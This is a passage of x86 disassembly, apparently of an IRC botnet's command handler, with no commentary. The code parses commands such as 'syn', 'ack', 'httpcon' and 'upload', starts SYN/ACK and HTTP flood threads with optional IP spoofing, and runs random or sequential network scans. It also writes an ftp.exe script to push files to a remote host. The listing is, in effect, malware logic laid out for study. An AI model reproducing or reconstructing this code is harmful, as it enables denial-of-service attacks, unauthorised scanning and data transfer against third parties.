lea eax, [ebp+4Ch+var_4190]
push eax
push esi
call dword_444064 ; recv
lea eax, [ebp+4Ch+var_4190]
push ebx
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+4Ch+var_5990]
push eax
push esi
call dword_4441A0 ; send
push ebx
push edi
lea eax, [ebp+4Ch+var_4190]
push eax
push esi
call dword_444064 ; recv
push esi
call dword_444218 ; closesocket
call dword_444224 ; WSACleanup
lea eax, [ebp+4Ch+var_4390]
push eax
push offset asc_42DE1C ; "-"
loc_4076D4: ; CODE XREF: sub_40274D+2C5Cj
; sub_40274D+636Fj ...
lea eax, [ebp+4Ch+Dst]
loc_4076DA: ; CODE XREF: sub_40274D+6671j
push eax ; Dest
call _sprintf
loc_4076E0: ; CODE XREF: sub_40274D+226Dj
add esp, 0Ch
jmp loc_406C4D
; ---------------------------------------------------------------------------
loc_4076E8: ; CODE XREF: sub_40274D+4E31j
push [ebp+4Ch+var_10] ; Str2
push offset aHttpcon ; "httpcon"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz short loc_407712
push [ebp+4Ch+var_10] ; Str2
push offset aHcon ; "hcon"
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz loc_407C7B
loc_407712: ; CODE XREF: sub_40274D+4FACj
push [ebp+esi+4Ch+var_90] ; int
push [ebp+4Ch+var_14] ; int
push [ebp+4Ch+arg_0] ; int
push edi ; Str
call j__atol
pop ecx
push eax ; int
push [ebp+4Ch+var_8] ; int
push [ebp+4Ch+var_C] ; int
push [ebp+4Ch+var_4] ; int
push [ebp+4Ch+Format] ; Str
push [ebp+4Ch+arg_4] ; int
call sub_4128A1
jmp loc_40A0AE
; ---------------------------------------------------------------------------
loc_40773D: ; CODE XREF: sub_40274D+4E03j
; sub_40274D+4E1Aj
push [ebp+4Ch+var_8] ; Format
mov esi, 80h
lea eax, [ebp+4Ch+var_135C]
push esi ; Count
push eax ; Dest
call __snprintf
lea eax, [ebp+4Ch+var_135C]
push eax ; Str2
push offset aSyn ; "syn"
call _strcmp
add esp, 14h
test eax, eax
jz short loc_4077A2
lea eax, [ebp+4Ch+var_135C]
push eax ; Str2
push offset aAck ; "ack"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz short loc_4077A2
lea eax, [ebp+4Ch+var_135C]
push eax ; Str2
push offset aRandom_0 ; "random"
call _strcmp
test eax, eax
pop ecx
pop ecx
jz short loc_4077A2
push offset unk_42DDD4
jmp loc_4078C9
; ---------------------------------------------------------------------------
loc_4077A2: ; CODE XREF: sub_40274D+501Bj
; sub_40274D+5032j ...
push [ebp+4Ch+var_14] ; Str
call j__atol
cmp eax, ebx
pop ecx
mov [ebp+4Ch+var_1254], eax
jle loc_4078C4
push [ebp+4Ch+var_8] ; Format
lea eax, [ebp+4Ch+var_135C]
push esi ; Count
push eax ; Dest
call __snprintf
push edi ; Format
lea eax, [ebp+4Ch+var_13DC]
push esi ; Count
push eax ; Dest
call __snprintf
push [ebp+4Ch+arg_0] ; Str
call j__atol
push [ebp+4Ch+Format] ; Format
mov [ebp+4Ch+var_1258], eax
xor eax, eax
cmp [ebp+4Ch+var_8F6], bl
push esi ; Count
setnz al
mov [ebp+4Ch+var_1250], eax
mov eax, [ebp+4Ch+arg_4]
mov [ebp+4Ch+var_13E0], eax
lea eax, [ebp+4Ch+var_12DC]
push eax ; Dest
call __snprintf
mov eax, [ebp+4Ch+var_4]
mov [ebp+4Ch+var_124C], eax
mov eax, [ebp+4Ch+var_C]
add esp, 28h
cmp [ebp+4Ch+var_1250], ebx
mov [ebp+4Ch+var_1248], eax
mov eax, offset aSpoofed ; "Spoofed"
jnz short loc_407836
mov eax, offset aNormal ; "Normal"
loc_407836: ; CODE XREF: sub_40274D+50E2j
push [ebp+4Ch+var_14]
push [ebp+4Ch+arg_0]
push edi
push [ebp+4Ch+var_8]
push eax
push offset asc_42DD90 ; "-"
lea eax, [ebp+4Ch+Dst]
push 200h ; Count
push eax ; Dest
call __snprintf
push ebx ; int
lea eax, [ebp+4Ch+Dst]
push 14h ; int
push eax ; Source
call sub_40AE85
add esp, 2Ch
mov [ebp+4Ch+var_125C], eax
lea eax, [ebp+4Ch+var_1C]
push eax
push ebx
lea eax, [ebp+4Ch+var_13E0]
push eax
push offset sub_416B1E
push ebx
push ebx
call ds:dword_42B03C ; CreateThread
mov ecx, [ebp+4Ch+var_125C]
imul ecx, 234h
cmp eax, ebx
mov dword_4444FC[ecx], eax
jnz short loc_4078B7
call ds:dword_42B01C ; RtlGetLastWin32Error
push eax
push offset unk_42DD58
jmp loc_40697E
; ---------------------------------------------------------------------------
loc_4078AF: ; CODE XREF: sub_40274D+5170j
push 32h
call ds:dword_42B014 ; Sleep
loc_4078B7: ; CODE XREF: sub_40274D+514Fj
cmp [ebp+4Ch+var_1244], ebx
jz short loc_4078AF
jmp loc_40698D
; ---------------------------------------------------------------------------
loc_4078C4: ; CODE XREF: sub_40274D+5066j
push offset asc_42DD20 ; "-"
loc_4078C9: ; CODE XREF: sub_40274D+1E23j
; sub_40274D+1E39j ...
lea eax, [ebp+4Ch+Dst]
loc_4078CF: ; CODE XREF: sub_40274D+4042j
push eax ; Dest
call _sprintf
pop ecx
pop ecx
jmp loc_40698D
; ---------------------------------------------------------------------------
loc_4078DC: ; CODE XREF: sub_40274D+4DBEj
; sub_40274D+4DD5j ...
cmp dword_444294, ebx
jnz loc_4079E4
mov eax, [ebp+4Ch+var_C]
mov [ebp+4Ch+var_FFC], eax
mov eax, [ebp+4Ch+var_4]
push 7Fh ; Count
push [ebp+4Ch+var_8] ; Source
mov [ebp+4Ch+var_1000], eax
lea eax, [ebp+4Ch+var_1094]
push eax ; Dest
call _strncpy
push edi ; Str
call j__atol
push [ebp+4Ch+arg_0] ; Str
mov [ebp+4Ch+var_1014], eax
call j__atol
push [ebp+4Ch+var_14] ; Str
mov [ebp+4Ch+var_1010], eax
call j__atol
push 7Fh ; Count
push [ebp+4Ch+Format] ; Source
mov [ebp+4Ch+var_100C], eax
lea eax, [ebp+4Ch+var_1114]
push eax ; Dest
call _strncpy
push [ebp+4Ch+var_100C]
mov eax, [ebp+4Ch+arg_4]
push [ebp+4Ch+var_1010]
mov [ebp+4Ch+var_1118], eax
lea eax, [ebp+4Ch+var_1094]
push eax
push [ebp+4Ch+var_1014]
lea eax, [ebp+4Ch+Dst]
push offset asc_42DCD8 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+4Ch+Dst]
push 16h ; int
push eax ; Source
call sub_40AE85
add esp, 48h
mov [ebp+4Ch+var_1004], eax
lea eax, [ebp+4Ch+var_1C]
push eax
push ebx
lea eax, [ebp+4Ch+var_1118]
push eax
push offset sub_415F82
push ebx
push ebx
call ds:dword_42B03C ; CreateThread
mov ecx, [ebp+4Ch+var_1004]
imul ecx, 234h
cmp eax, ebx
mov dword_4444FC[ecx], eax
jnz short loc_4079D7
call ds:dword_42B01C ; RtlGetLastWin32Error
push eax
push offset unk_42DC9C
jmp loc_40697E
; ---------------------------------------------------------------------------
loc_4079CF: ; CODE XREF: sub_40274D+5290j
push 32h
call ds:dword_42B014 ; Sleep
loc_4079D7: ; CODE XREF: sub_40274D+526Fj
cmp [ebp+4Ch+var_FF8], ebx
jz short loc_4079CF
jmp loc_40698D
; ---------------------------------------------------------------------------
loc_4079E4: ; CODE XREF: sub_40274D+5195j
push 1FFh ; Count
lea eax, [ebp+4Ch+Dst]
push offset aIcmp_dllNotAva ; "ICMP.dll not available"
push eax ; Dest
call _strncpy
jmp loc_40698A
; ---------------------------------------------------------------------------
loc_4079FF: ; CODE XREF: sub_40274D+4D90j
; sub_40274D+4DA7j
push edi
push [ebp+4Ch+var_8]
lea eax, [ebp+4Ch+Dst]
push [ebp+4Ch+arg_0]
push offset asc_42DC48 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
push [ebp+4Ch+var_4] ; int
lea eax, [ebp+4Ch+Dst]
push eax ; int
push [ebp+4Ch+Format] ; Str
push [ebp+4Ch+arg_4] ; int
call sub_40123B
push [ebp+4Ch+arg_0] ; Str
call _strlen
push edi ; Str
mov [ebp+4Ch+var_24], eax
call _strlen
mov ecx, [ebp+4Ch+var_24]
push [ebp+4Ch+var_8] ; Str
add ecx, eax
mov [ebp+4Ch+var_24], ecx
call _strlen
mov ecx, [ebp+4Ch+var_24]
push [ebp+4Ch+var_10] ; Str
add ecx, eax
mov [ebp+4Ch+var_24], ecx
call _strlen
add eax, [ebp+4Ch+var_18]
mov ecx, [ebp+4Ch+var_24]
push [ebp+4Ch+var_14] ; SubStr
lea eax, [eax+ecx+7]
push eax ; Str
call _strstr
add esp, 40h
push [ebp+4Ch+arg_0] ; Str
mov [ebp+4Ch+var_18], eax
call j__atol
cmp eax, ebx
mov edi, [ebp+4Ch+var_20]
pop ecx
mov [ebp+4Ch+File], eax
mov [ebp+4Ch+var_24], ebx
jle short loc_407AED
loc_407A8D: ; CODE XREF: sub_40274D+5364j
push [ebp+4Ch+var_18] ; int
push edi ; int
push [ebp+4Ch+var_8] ; Source
call sub_41B24B
add esp, 0Ch
cmp eax, 1
mov [ebp+4Ch+var_20], eax
jz short loc_407AB5
cmp eax, ebx
jnz short loc_407AC0
inc [ebp+4Ch+var_24]
mov eax, [ebp+4Ch+var_24]
cmp eax, [ebp+4Ch+File]
jl short loc_407A8D
jmp short loc_407AF6
; ---------------------------------------------------------------------------
loc_407AB5: ; CODE XREF: sub_40274D+5355j
push ebx
push [ebp+4Ch+var_4]
push offset unk_42DC10
jmp short loc_407AFF
; ---------------------------------------------------------------------------
loc_407AC0: ; CODE XREF: sub_40274D+5359j
push [ebp+4Ch+var_20]
lea eax, [ebp+4Ch+Dst]
push offset asc_42DBDC ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
push [ebp+4Ch+var_4] ; int
lea eax, [ebp+4Ch+Dst]
push eax ; int
push [ebp+4Ch+Format] ; Str
push [ebp+4Ch+arg_4] ; int
call sub_40123B
add esp, 20h
loc_407AED: ; CODE XREF: sub_40274D+533Ej
cmp [ebp+4Ch+var_20], ebx
jnz loc_407C7B
loc_407AF6: ; CODE XREF: sub_40274D+5366j
push ebx ; int
push [ebp+4Ch+var_4] ; int
push offset unk_42DBA8 ; int
loc_407AFF: ; CODE XREF: sub_40274D+5371j
push [ebp+4Ch+Format] ; Str
push [ebp+4Ch+arg_4] ; int
call sub_40123B
add esp, 14h
jmp loc_407C7B
; ---------------------------------------------------------------------------
loc_407B12: ; CODE XREF: sub_40274D+4D4Bj
; sub_40274D+4D62j ...
mov eax, [ebp+4Ch+var_C]
mov [ebp+4Ch+var_C6C], eax
mov eax, [ebp+4Ch+var_4]
push 7Fh ; Count
push [ebp+4Ch+var_8] ; Source
mov [ebp+4Ch+var_C70], eax
lea eax, [ebp+4Ch+var_D04]
push eax ; Dest
call _strncpy
push edi ; Str
call j__atol
push [ebp+4Ch+arg_0] ; Str
mov [ebp+4Ch+var_C84], eax
call j__atol
push [ebp+4Ch+var_14] ; Str
mov [ebp+4Ch+var_C80], eax
call j__atol
mov esi, [ebp+esi+4Ch+var_90]
add esp, 18h
cmp esi, ebx
mov [ebp+4Ch+var_C7C], eax
jz short loc_407B77
push esi ; Str
call j__atol
pop ecx
mov [ebp+4Ch+var_C78], eax
jmp short loc_407B7D
; ---------------------------------------------------------------------------
loc_407B77: ; CODE XREF: sub_40274D+5419j
mov [ebp+4Ch+var_C78], ebx
loc_407B7D: ; CODE XREF: sub_40274D+5428j
push 7Fh ; Count
push [ebp+4Ch+Format] ; Source
lea eax, [ebp+4Ch+var_D84]
push eax ; Dest
call _strncpy
push [ebp+4Ch+var_C7C]
mov esi, [ebp+4Ch+arg_4]
push [ebp+4Ch+var_C80]
lea eax, [ebp+4Ch+var_D04]
push eax
push [ebp+4Ch+var_C84]
lea eax, [ebp+4Ch+Dst]
push offset asc_42DB60 ; "-"
push eax ; Dest
mov [ebp+4Ch+var_D88], esi
call _sprintf
push ebx ; int
lea eax, [ebp+4Ch+Dst]
push 17h ; int
push eax ; Source
call sub_40AE85
add esp, 30h
mov [ebp+4Ch+var_C74], eax
lea eax, [ebp+4Ch+var_1C]
push eax
push ebx
lea eax, [ebp+4Ch+var_D88]
push eax
push offset sub_416104
push ebx
push ebx
call ds:dword_42B03C ; CreateThread
mov ecx, [ebp+4Ch+var_C74]
imul ecx, 234h
cmp eax, ebx
mov dword_4444FC[ecx], eax
jnz short loc_407C21
call ds:dword_42B01C ; RtlGetLastWin32Error
push eax
push offset unk_42DB28
jmp loc_4089B1
; ---------------------------------------------------------------------------
loc_407C19: ; CODE XREF: sub_40274D+54DAj
push 32h
call ds:dword_42B014 ; Sleep
loc_407C21: ; CODE XREF: sub_40274D+54B9j
cmp [ebp+4Ch+var_C68], ebx
jz short loc_407C19
jmp loc_4089C0
; ---------------------------------------------------------------------------
loc_407C2E: ; CODE XREF: sub_40274D+4D1Dj
; sub_40274D+4D34j
push 0Bh
call sub_40B075
push edi ; Str
mov [ebp+4Ch+var_20], eax
call j__atol
add eax, [ebp+4Ch+var_20]
pop ecx
cmp eax, 1F4h
pop ecx
jle loc_407DF1
push [ebp+4Ch+var_20]
lea eax, [ebp+4Ch+Dst]
push offset asc_42DAE8 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
push [ebp+4Ch+var_4] ; int
lea eax, [ebp+4Ch+Dst]
push eax ; int
push [ebp+4Ch+Format] ; Str
push [ebp+4Ch+arg_4] ; int
call sub_40123B
add esp, 20h
loc_407C7B: ; CODE XREF: sub_40274D+4FBFj
; sub_40274D+53A3j ...
mov esi, [ebp+esi+4Ch+var_90]
cmp esi, ebx
jz loc_402B92
push [ebp+4Ch+var_10] ; Str2
push offset aUpload ; "upload"
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz loc_404979
push 4
push esi
call sub_419429
test eax, eax
pop ecx
pop ecx
jnz short loc_407CC6
push esi
push offset asc_42DAC0 ; "-"
loc_407CB2: ; CODE XREF: sub_40274D+7774j
lea eax, [ebp+4Ch+Dst]
push eax ; Dest
call _sprintf
add esp, 0Ch
jmp loc_404A5B
; ---------------------------------------------------------------------------
loc_407CC6: ; CODE XREF: sub_40274D+555Dj
call ds:dword_42B038 ; GetTickCount
push eax
call sub_41ECD4
pop ecx
call _rand
push 9
cdq
pop ecx
idiv ecx
push edx
call _rand
push 63h
cdq
pop ecx
idiv ecx
push edx
call _rand
cdq
mov ecx, 3E7h
idiv ecx
lea eax, [ebp+4Ch+var_5200]
push edx
push eax
lea eax, [ebp+4Ch+var_2E60]
push offset aSIII_dll ; "%s\\%i%i%i.dll"
push eax ; Dest
call _sprintf
lea eax, [ebp+4Ch+var_2E60]
push offset aAb ; "ab"
push eax ; char *
call _fopen
add esp, 20h
cmp eax, ebx
mov [ebp+4Ch+File], eax
jz loc_402B92
push esi
push [ebp+4Ch+var_14]
push [ebp+4Ch+arg_0]
push edi
push [ebp+4Ch+var_8]
push offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
push eax ; FILE *
call _fprintf
push [ebp+4Ch+File] ; File
call _fclose
lea eax, [ebp+4Ch+var_2E60]
push eax
lea eax, [ebp+4Ch+var_4CF8]
push offset aSS_2 ; "-s:%s"
push eax ; Dest
call _sprintf
add esp, 2Ch
push ebx
push ebx
lea eax, [ebp+4Ch+var_4CF8]
push eax
push offset aFtp_exe ; "ftp.exe"
push offset aOpen ; "open"
push ebx
call dword_444214
test eax, eax
push [ebp+4Ch+var_8]
push esi ; Format
jz short loc_407D92
push offset unk_42DA50
jmp short loc_407D97
; ---------------------------------------------------------------------------
loc_407D92: ; CODE XREF: sub_40274D+563Cj
push offset asc_42DA20 ; "-"
loc_407D97: ; CODE XREF: sub_40274D+5643j
call _sprintf
add esp, 0Ch
cmp [ebp+4Ch+var_C], ebx
jnz short loc_407DBD
push ebx ; int
push [ebp+4Ch+var_4] ; int
lea eax, [ebp+4Ch+Dst]
push eax ; int
push [ebp+4Ch+Format] ; Str
push [ebp+4Ch+arg_4] ; int
call sub_40123B
add esp, 14h
loc_407DBD: ; CODE XREF: sub_40274D+5655j
lea eax, [ebp+4Ch+Dst]
push eax
call sub_417D70
jmp short loc_407DD7
; ---------------------------------------------------------------------------
loc_407DCB: ; CODE XREF: sub_40274D+569Dj
lea eax, [ebp+4Ch+var_2E60]
push eax
call sub_41EC78
loc_407DD7: ; CODE XREF: sub_40274D+567Cj
lea eax, [ebp+4Ch+var_2E60]
push 4
push eax
call sub_419429
add esp, 0Ch
test eax, eax
jnz short loc_407DCB
jmp loc_402B92
; ---------------------------------------------------------------------------
loc_407DF1: ; CODE XREF: sub_40274D+54FBj
push [ebp+4Ch+var_8] ; Str
call j__atol
push edi ; Str
mov [ebp+4Ch+var_378], eax
call j__atol
push [ebp+4Ch+arg_0] ; Str
mov [ebp+4Ch+var_360], eax
call j__atol
add esp, 0Ch
cmp eax, 5
mov [ebp+4Ch+var_374], eax
jnb short loc_407E2A
push 5
pop eax
mov [ebp+4Ch+var_374], eax
loc_407E2A: ; CODE XREF: sub_40274D+56D2j
push 3Ch
pop ecx
cmp eax, ecx
jbe short loc_407E37
mov [ebp+4Ch+var_374], ecx
loc_407E37: ; CODE XREF: sub_40274D+56E2j
push [ebp+4Ch+var_14] ; Str
call j__atol
mov [ebp+4Ch+var_370], eax
mov eax, 320h
cmp [ebp+4Ch+var_370], eax
pop ecx
jbe short loc_407E59
mov [ebp+4Ch+var_370], eax
loc_407E59: ; CODE XREF: sub_40274D+5704j
or [ebp+4Ch+var_35C], 0FFFFFFFFh
cmp dword_43D878, ebx
mov [ebp+4Ch+var_24], ebx
jz short loc_407EA8
mov edi, offset dword_43D878
loc_407E70: ; CODE XREF: sub_40274D+573Dj
push [ebp+4Ch+var_8] ; Str2
lea eax, [edi-28h]
push eax ; Str1
call _strcmp
test eax, eax
pop ecx
pop ecx
jz short loc_407E8E
inc [ebp+4Ch+var_24]
add edi, 40h
cmp [edi], ebx
jnz short loc_407E70
jmp short loc_407EA8
; ---------------------------------------------------------------------------
loc_407E8E: ; CODE XREF: sub_40274D+5733j
mov eax, [ebp+4Ch+var_24]
mov ecx, eax
shl ecx, 6
mov ecx, dword_43D878[ecx]
mov [ebp+4Ch+var_378], ecx
mov [ebp+4Ch+var_35C], eax
loc_407EA8: ; CODE XREF: sub_40274D+571Cj
; sub_40274D+573Fj
cmp [ebp+4Ch+var_378], ebx
jnz short loc_407EBA
push offset unk_42D9EC
jmp loc_4078C9
; ---------------------------------------------------------------------------
loc_407EBA: ; CODE XREF: sub_40274D+5761j
mov edi, [ebp+esi+4Ch+var_90]
cmp edi, ebx
mov [ebp+4Ch+File], edi
jz short loc_407EF5
cmp byte ptr [edi], 23h
jz short loc_407EF5
push edi ; Format
lea eax, [ebp+4Ch+var_48C]
push 10h ; Count
push eax ; Dest
call __snprintf
push 78h ; Val
push edi ; Str
call _strchr
add esp, 14h
neg eax
sbb eax, eax
neg eax
mov [ebp+4Ch+var_34C], eax
jmp loc_407FD0
; ---------------------------------------------------------------------------
loc_407EF5: ; CODE XREF: sub_40274D+5776j
; sub_40274D+577Bj
cmp [ebp+4Ch+var_907], bl
jnz short loc_407F17
cmp [ebp+4Ch+var_906], bl
jnz short loc_407F17
cmp [ebp+4Ch+var_8F6], bl
jnz short loc_407F17
push offset unk_42D9B8
jmp loc_4078C9
; ---------------------------------------------------------------------------
loc_407F17: ; CODE XREF: sub_40274D+57AEj
; sub_40274D+57B6j ...
push 10h
pop edi
lea eax, [ebp+4Ch+var_2D4]
push eax
lea eax, [ebp+4Ch+var_300]
push eax
push [ebp+4Ch+arg_4]
mov [ebp+4Ch+var_2D4], edi
call dword_444068 ; getsockname
mov al, [ebp+4Ch+var_907]
neg al
push edi
sbb eax, eax
and eax, 0FFFF0100h
add eax, 0FFFFh
and [ebp+4Ch+var_2FC], eax
push [ebp+4Ch+var_2FC] ; Count
call dword_444188 ; inet_ntoa
push eax ; Source
lea eax, [ebp+4Ch+var_48C]
push eax ; Dest
call _strncpy
add esp, 0Ch
cmp [ebp+4Ch+var_8F6], bl
jz short loc_407FCA
xor eax, eax
cmp [ebp+4Ch+var_907], bl
push 30h ; Ch
setnz al
inc eax
inc eax
mov edi, eax
lea eax, [ebp+4Ch+var_48C]
push eax ; Str
call _strrchr
cmp edi, ebx
pop ecx
pop ecx
mov byte ptr [ebp+4Ch+arg_0+3], bl
jle short loc_407FBE
loc_407F9C: ; CODE XREF: sub_40274D+586Fj
cmp eax, ebx
jz short loc_407FBE
mov byte ptr [eax], 78h
lea eax, [ebp+4Ch+var_48C]
push 30h ; Ch
push eax ; Str
call _strrchr
inc byte ptr [ebp+4Ch+arg_0+3]
pop ecx
pop ecx
movsx ecx, byte ptr [ebp+4Ch+arg_0+3]
cmp ecx, edi
jl short loc_407F9C
loc_407FBE: ; CODE XREF: sub_40274D+584Dj
; sub_40274D+5851j
mov [ebp+4Ch+var_34C], 1
jmp short loc_407FD0
; ---------------------------------------------------------------------------
loc_407FCA: ; CODE XREF: sub_40274D+5827j
mov [ebp+4Ch+var_34C], ebx
loc_407FD0: ; CODE XREF: sub_40274D+57A3j
; sub_40274D+587Bj
mov eax, [ebp+4Ch+arg_4]
push [ebp+4Ch+Format] ; Format
mov [ebp+4Ch+var_37C], eax
mov eax, [ebp+4Ch+var_4]
mov [ebp+4Ch+var_354], eax
mov eax, [ebp+4Ch+var_C]
mov [ebp+4Ch+var_350], eax
mov edi, 80h
lea eax, [ebp+4Ch+var_47C]
push edi ; Count
push eax ; Dest
call __snprintf
mov esi, [ebp+esi+4Ch+var_8C]
add esp, 0Ch
cmp esi, ebx
jz short loc_40801E
loc_40800B: ; CODE XREF: sub_40274D+58F4j
push esi ; Format
loc_40800C: ; CODE XREF: sub_40274D+58DEj
lea eax, [ebp+4Ch+var_3FC]
push edi ; Count
push eax ; Dest
call __snprintf
add esp, 0Ch
jmp short loc_408049
; ---------------------------------------------------------------------------
loc_40801E: ; CODE XREF: sub_40274D+58BCj
mov eax, [ebp+4Ch+File]
cmp eax, ebx
jz short loc_40802D
cmp byte ptr [eax], 23h
jnz short loc_40802D
push eax
jmp short loc_40800C
; ---------------------------------------------------------------------------
loc_40802D: ; CODE XREF: sub_40274D+58D6j
; sub_40274D+58DBj
push offset byte_42B633 ; Str2
mov esi, offset a_fast__1 ; "#.fast.#"
push esi ; Str1
call _strcmp
test eax, eax
pop ecx
pop ecx
jnz short loc_40800B
mov [ebp+4Ch+var_3FC], bl
loc_408049: ; CODE XREF: sub_40274D+58CFj
cmp [ebp+4Ch+var_34C], ebx
mov eax, offset aRandom ; "Random"
jnz short loc_40805B
mov eax, offset aSequential ; "Sequential"
loc_40805B: ; CODE XREF: sub_40274D+5907j
push [ebp+4Ch+var_360]
lea ecx, [ebp+4Ch+var_48C]
push [ebp+4Ch+var_370]
push [ebp+4Ch+var_374]
push [ebp+4Ch+var_378]
push ecx
push eax
lea eax, [ebp+4Ch+Dst]
push offset asc_42D950 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+4Ch+Dst]
push 0Bh ; int
push eax ; Source
call sub_40AE85
add esp, 2Ch
mov [ebp+4Ch+var_36C], eax
lea eax, [ebp+4Ch+var_1C]
push eax
push ebx
lea eax, [ebp+4Ch+var_48C]
push eax
push offset sub_40BEFE
push ebx
push ebx
call ds:dword_42B03C ; CreateThread
mov ecx, [ebp+4Ch+var_36C]
imul ecx, 234h
cmp eax, ebx
mov dword_4444FC[ecx], eax
jnz short loc_4080EC
call ds:dword_42B01C ; RtlGetLastWin32Error
push eax
push offset unk_42D918
jmp loc_40697E
; ---------------------------------------------------------------------------
loc_4080E4: ; CODE XREF: sub_40274D+59A5j
push 32h
call ds:dword_42B014 ; Sleep
loc_4080EC: ; CODE XREF: sub_40274D+5984j
cmp [ebp+4Ch+var_348], ebx
jz short loc_4080E4
jmp loc_40698D
; ---------------------------------------------------------------------------
loc_4080F9: ; CODE XREF: sub_40274D+4CEFj
; sub_40274D+4D06j
push [ebp+4Ch+var_8]
call sub_4022BD
push edi ; Str
mov [ebp+4Ch+var_4E8], eax
call j__atol
push [ebp+4Ch+arg_0] ; Str
mov [ebp+4Ch+var_4F8], eax
call j__atol
push [ebp+4Ch+var_14] ; Str
mov [ebp+4Ch+var_4F4], eax
call j__atol
mov esi, [ebp+4Ch+arg_4]
push 7Fh ; Count
push [ebp+4Ch+Format] ; Source
mov [ebp+4Ch+var_4F0], eax
lea eax, [ebp+4Ch+var_578]
push eax ; Dest
mov [ebp+4Ch+var_57C], esi
call _strncpy
mov eax, [ebp+4Ch+var_C]
mov edi, [ebp+4Ch+var_4]
add esp, 1Ch
push [ebp+4Ch+var_4F4]
mov [ebp+4Ch+var_4E0], edi
push [ebp+4Ch+var_4F8]
mov [ebp+4Ch+var_4DC], eax
push [ebp+4Ch+var_4F0]
push [ebp+4Ch+var_4E8]
call dword_444188 ; inet_ntoa
push eax
lea eax, [ebp+4Ch+Dst]
push offset asc_42D8C8 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+4Ch+Dst]
push 0Bh ; int
push eax ; Source
call sub_40AE85
add esp, 24h
mov [ebp+4Ch+var_4EC], eax
lea eax, [ebp+4Ch+var_1C]
push eax
push ebx
lea eax, [ebp+4Ch+var_57C]
push eax
push offset sub_40C4C0
push ebx
push ebx
call ds:dword_42B03C ; CreateThread
mov ecx, [ebp+4Ch+var_4EC]
imul ecx, 234h
cmp eax, ebx
mov dword_4444FC[ecx], eax
jnz short loc_4081EE
call ds:dword_42B01C ; RtlGetLastWin32Error
push eax
push offset unk_42D888
jmp loc_40491A
; ---------------------------------------------------------------------------
loc_4081E6: ; CODE XREF: sub_40274D+5AA7j
push 32h
call ds:dword_42B014 ; Sleep
loc_4081EE: ; CODE XREF: sub_40274D+5A86j
cmp [ebp+4Ch+var_4D8], ebx
jz short loc_4081E6
jmp loc_404929
; ---------------------------------------------------------------------------
loc_4081FB: ; CODE XREF: sub_40274D+4CB2j
; sub_40274D+4CC9j
push [ebp+4Ch+var_8] ; Str
call j__atol
imul eax, 234h
cmp byte_444500[eax], bl
pop ecx
jz loc_404979
cmp [ebp+4Ch+var_18], ebx
jz loc_404979
push edi ; Str
call _strlen
push [ebp+4Ch+var_8] ; Str
mov esi, eax
call _strlen
push [ebp+4Ch+var_10] ; Str
add esi, eax
call _strlen
add eax, [ebp+4Ch+var_18]
push [ebp+4Ch+arg_0] ; SubStr
lea eax, [eax+esi+2]
push eax ; Str
call _strstr
mov esi, eax
push esi
lea eax, [ebp+4Ch+Dst]
push offset dword_42D87C ; Format
push eax ; Dest
call _sprintf
add esp, 20h
cmp esi, ebx
jz loc_404979
push [ebp+4Ch+var_8] ; Str
call j__atol
test eax, eax
pop ecx
jle loc_404979
push [ebp+4Ch+var_8] ; Str
call j__atol
cmp eax, 400h
pop ecx
jge loc_404979
push ebx ; int
push ebx ; int
lea eax, [ebp+4Ch+Dst]
push eax ; int
push edi ; Str
push [ebp+4Ch+var_8] ; Str
call j__atol
imul eax, 234h
pop ecx
push dword_4444F4[eax] ; int
call sub_40123B
push [ebp+4Ch+var_8] ; Str
call j__atol
imul eax, 234h
add esp, 18h
cmp byte ptr dword_4442E8[eax], 73h
jnz loc_404979
push esi
push [ebp+4Ch+var_8] ; Str
call j__atol
imul eax, 234h
pop ecx
add eax, offset byte_444500
push eax
push edi
push offset aSSS_0 ; "[%s] * %s %s"
jmp loc_4083C8
; ---------------------------------------------------------------------------
loc_4082F0: ; CODE XREF: sub_40274D+4C84j
; sub_40274D+4C9Bj
push [ebp+4Ch+var_8] ; Str
call j__atol
imul eax, 234h
cmp byte_444500[eax], bl
pop ecx
jz loc_404979
cmp [ebp+4Ch+var_18], ebx
jz loc_404979
push edi ; Str
call _strlen
push [ebp+4Ch+var_8] ; Str
mov esi, eax
call _strlen
push [ebp+4Ch+var_10] ; Str
add esi, eax
call _strlen
add eax, [ebp+4Ch+var_18]
push [ebp+4Ch+arg_0] ; SubStr
lea eax, [eax+esi+2]
push eax ; Str
call _strstr
mov esi, eax
add esp, 14h
cmp esi, ebx
jz loc_404979
push [ebp+4Ch+var_8] ; Str
call j__atol
test eax, eax
pop ecx
jle loc_404979
push [ebp+4Ch+var_8] ; Str
call j__atol
cmp eax, 400h
pop ecx
jge loc_404979
push ebx ; int
push ebx ; int
push esi ; int
push edi ; Str
push [ebp+4Ch+var_8] ; Str
call j__atol
imul eax, 234h
pop ecx
push dword_4444F4[eax] ; int
call sub_40123B
push [ebp+4Ch+var_8] ; Str
call j__atol
imul eax, 234h
add esp, 18h
cmp byte ptr dword_4442E8[eax], 73h
jnz loc_404979
push esi
push [ebp+4Ch+var_8] ; Str
call j__atol
imul eax, 234h
pop ecx
add eax, offset byte_444500
push eax
push edi
push offset aSSS_1 ; "[%s] <%s> %s"
loc_4083C8: ; CODE XREF: sub_40274D+5B9Ej
lea eax, [ebp+4Ch+Dst]
push eax ; Dest
call _sprintf
push ebx ; int
push [ebp+4Ch+var_4] ; int
lea eax, [ebp+4Ch+Dst]
push eax ; int
push [ebp+4Ch+Format] ; Str
push [ebp+4Ch+arg_4] ; int
call sub_40123B
loc_4083EA: ; CODE XREF: sub_40274D+23E3j
add esp, 28h
jmp loc_404979
; ---------------------------------------------------------------------------
loc_4083F2: ; CODE XREF: sub_40274D+4C56j
; sub_40274D+4C6Dj
push [ebp+4Ch+var_8]
call dword_44417C ; inet_addr
push edi ; Str
mov [ebp+4Ch+var_688], eax
call j__atol
push [ebp+4Ch+arg_0] ; Str
mov [ebp+4Ch+var_698], eax
call j__atol
mov esi, [ebp+4Ch+arg_4]
